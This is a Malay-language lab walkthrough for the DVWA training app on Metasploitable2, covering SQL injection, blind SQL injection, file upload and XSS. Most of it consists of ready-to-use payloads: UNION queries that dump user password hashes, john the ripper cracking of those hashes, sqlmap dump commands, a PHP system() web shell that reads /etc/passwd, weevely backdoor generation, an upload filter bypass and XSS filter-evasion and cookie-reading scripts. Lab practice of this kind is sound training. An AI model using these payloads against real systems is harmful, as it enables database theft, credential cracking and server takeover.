DVWA walkthrough Part 3

[1] SQL Injection (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
Password: password
```

3 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**

4 SQL Injection payloads:

low

```
id = (1 hingga 6)
'
```

Dapatkan bilangan column semasa

```
' order by 1#
' order by 2#
' order by 3#
```

Kenalpasti reflection point

```
' union select 1,2#
```

Dapatkan senarai database yang ada

```
' union select group_concat(schema_name),2 from
information_schema.schemata#
```

Dapatkan senarai tables pada database semasa

```
' union select group_concat(table_name),2 from
information_schema.tables where table_schema=database()#
```

Dapatkan senarai columns pada table users

```
' union select group_concat(column_name),2 from
information_schema.columns where table_name='users'#
```

Dump data firstname dan password dari table users

```
' union select group_concat(first_name,0x3a,password),2 from
users#
```

Crack password menggunakan john the ripper

```
admin:5f4dcc3b5aa765d61d8327deb882cf99
Gordon:e99a18c428cb38d5f260853678922e03
Hack:8d3533d75ae2c3966d7e0d4fcc69216b
Pablo:0d107d09f5bbe40cade3de5c71e9e9b7
Bob:5f4dcc3b5aa765d61d8327deb882cf99

$ hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99
$ john --format=raw-MD5 pass
$ john --show --format=Raw-MD5 pass
-------------------------------------------------------------
```

medium

```
id = (1 hingga 6)
'
```

Dapatkan bilangan column semasa

```
' order by 1#
unhex(27) order by 1#
unhex(27) order by 2#
unhex(27) order by 3#
```

Kenalpasti reflection point

```
unhex(27) union select 1,2#
```

Dapatkan senarai tables pada database semasa

```
unhex(27) union select group_concat(table_name),2 from
information_schema.tables where table_schema=database()#
```

Dapatkan senarai columns pada table users

```
unhex(27) union select group_concat(column_name),2 from
information_schema.columns where table_name=0x7573657273#
```

Dump data firstname dan password dari table users

```
unhex(27) union select
group_concat(first_name,0x3a,password),2 from users#
```

		high id = (1 hingga 6) '

[2] SQL Injection Blind (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
Password: password
```

3 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**

4 SQL Injection(Blind) payloads:

```
low
id = (1 hingga 6)
'
1'and 1=1#
1'and 1=2#
```

Teka panjang(length) bagi nama database semasa

```
1'and length(database())=1#
1'and length(database())=2#
1'and length(database())=3#
1'and length(database())=4#
```

Exploit menggunakan sqlmap

```
sqlmap -r <nama_fail>
sqlmap -r <nama_fail> --dbs
sqlmap -r <nama_fail> -D dvwa --tables
sqlmap -r <nama_fail> -D dvwa -T users --dump


-------------------------------------------------------------
```

medium

```
id = (1 hingga 6)
'
1'and 1=1#
1 and 1=1#
1 and 1=2#
```

Exploit menggunakan sqlmap

```
sqlmap -r <nama_fail>
sqlmap -r <nama_fail> --flush-session
sqlmap -r <nama_fail> --dbs
sqlmap -r <nama_fail> -D dvwa --tables
sqlmap -r <nama_fail> -D dvwa -T users --dump

-------------------------------------------------------------
```

high

```
sqlmap -r <nama_fail> --flush-session
```

[3] upload (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
Password: password
```

3 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**

4 File Upload payloads:

low

Uploadkan file berikut:

```
<nama_fail>.png
<nama_fail>.txt
<nama_fail>.php
```

rce.php

```
<?php system($_GET["cmd"]);?>

?cmd=ls
?cmd=pwd
?cmd=cat /etc/passwd
```

p0wny shell

weevely

```
weevely generate 12345 1.php
weevely http://192.168.8.137/dvwa/hackable/uploads/1.php
12345
weevely> help
-------------------------------------------------------------
```

```
medium
<nama_fail>.png
<nama_fail>.txt
<nama_fail>.php
```

Tukar Content-Type ke:

```
Content-Type: image/jpeg
------------------------------------------------------------

high
<nama_fail>.png
<nama_fail>.txt
<nama_fail>.php
```

[4] XSS Relected (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
Password: password
```

3 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**

4 XSS Reflected payloads:

```
low
gh1mau
<h1>gh1mau</h1>
<script>alert('gh1mau')</script>
-------------------------------------------------------------


medium
gh1mau
<h1>gh1mau</h1>
<script>alert('gh1mau')</script>
<Script>alert('gh1mau')</script>
<scri<script>pt>alert('gh1mau')<scr</script>ipt>
-------------------------------------------------------------


high
gh1mau
<h1>gh1mau</h1>
<script>alert('gh1mau')</script>
```

[5] XSS Stored (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
Password: password
```

3 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**

4 XSS Stored payloads:

```
low
gh1mau
<h1>gh1mau</h1>
<script>alert('gh1mau')</script>
-------------------------------------------------------------


medium
gh1mau
<h1>gh1mau</h1>
<script>alert('gh1mau')</script>
<Script>alert(document.cookie)</script>
-------------------------------------------------------------


high
gh1mau
<h1>gh1mau</h1>
<script>alert('gh1mau')</script>
```